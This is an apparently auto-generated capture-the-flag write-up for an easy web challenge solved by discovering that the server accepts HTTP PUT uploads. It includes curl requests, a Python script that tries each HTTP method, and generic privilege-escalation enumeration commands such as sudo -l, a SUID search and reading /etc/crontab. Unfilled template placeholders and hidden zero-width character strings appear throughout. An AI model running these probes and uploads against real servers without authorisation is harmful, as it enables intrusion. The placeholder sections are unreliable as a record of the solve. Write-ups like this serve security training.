Fileshare

Platform: Web Kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-09 | Status: Solved Techniques: http_method_discovery, put_upload

Summary

A file sharing service.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: web-kids20 | ID: 20260309_web_kids20_webburp_fileshare
• Tags: file_upload, http_methods, http, burp, put_method
• Indicators: file upload functionality, uploads endpoint, file sharing service
• Source: 20260309_web_kids20_webburp_fileshare.md

Foothold

Vulnerability / Misconfiguration

1. Http_method_discovery
2. Put_upload

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• http_method_discovery
• put_upload
• Tags: file_upload, http_methods, http, burp, put_method

Original Writeup

<details><summary>Click to expand original content</summary>

Description

"Check out new fileshare by blzh"

A file sharing service.

Analysis

The service provides file upload/download functionality. Standard usage (GET, POST) doesn't reveal anything interesting. However, the server supports non-standard HTTP methods.

Key observations:

• There's an endpoint for file uploads (uploads)
• Standard methods don't give the flag
• Task name "Fileshare" + category "burp" hints at testing HTTP methods

Solution

Step 1: Testing HTTP methods

Check which HTTP methods the server supports: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# OPTIONS request to determine allowed methods
curl -X OPTIONS https://burp.2537ly.space/task3/ -v

# Test various methods
curl -X PUT https://burp.2537ly.space/task3/uploads/test.txt -d "test"
curl -X DELETE https://burp.2537ly.space/task3/uploads/test.txt
curl -X PATCH https://burp.2537ly.space/task3/uploads/test.txt -d "test"

Step 2: PUT request

Send a PUT request to the upload endpoint:

curl -X PUT https://burp.2537ly.space/task3/uploads/myfile.txt \
     -H "Content-Type: text/plain" \
     -d "any content"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Result

The server returns the flag in response to the PUT request.

#!/usr/bin/env python3
import requests

url = "https://burp.2537ly.space/task3/uploads/test.txt"

# Test different HTTP methods
methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD']

for method in methods:
    r = requests.request(method, url, data="test")
    print(f"{method}: {r.status_code} - {r.text[:100] if r.text else 'empty'}")
    if "CTF{" in r.text or "flag" in r.text.lower():
        print(f"\n[+] Flag found with {method}!")
        print(r.text)

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR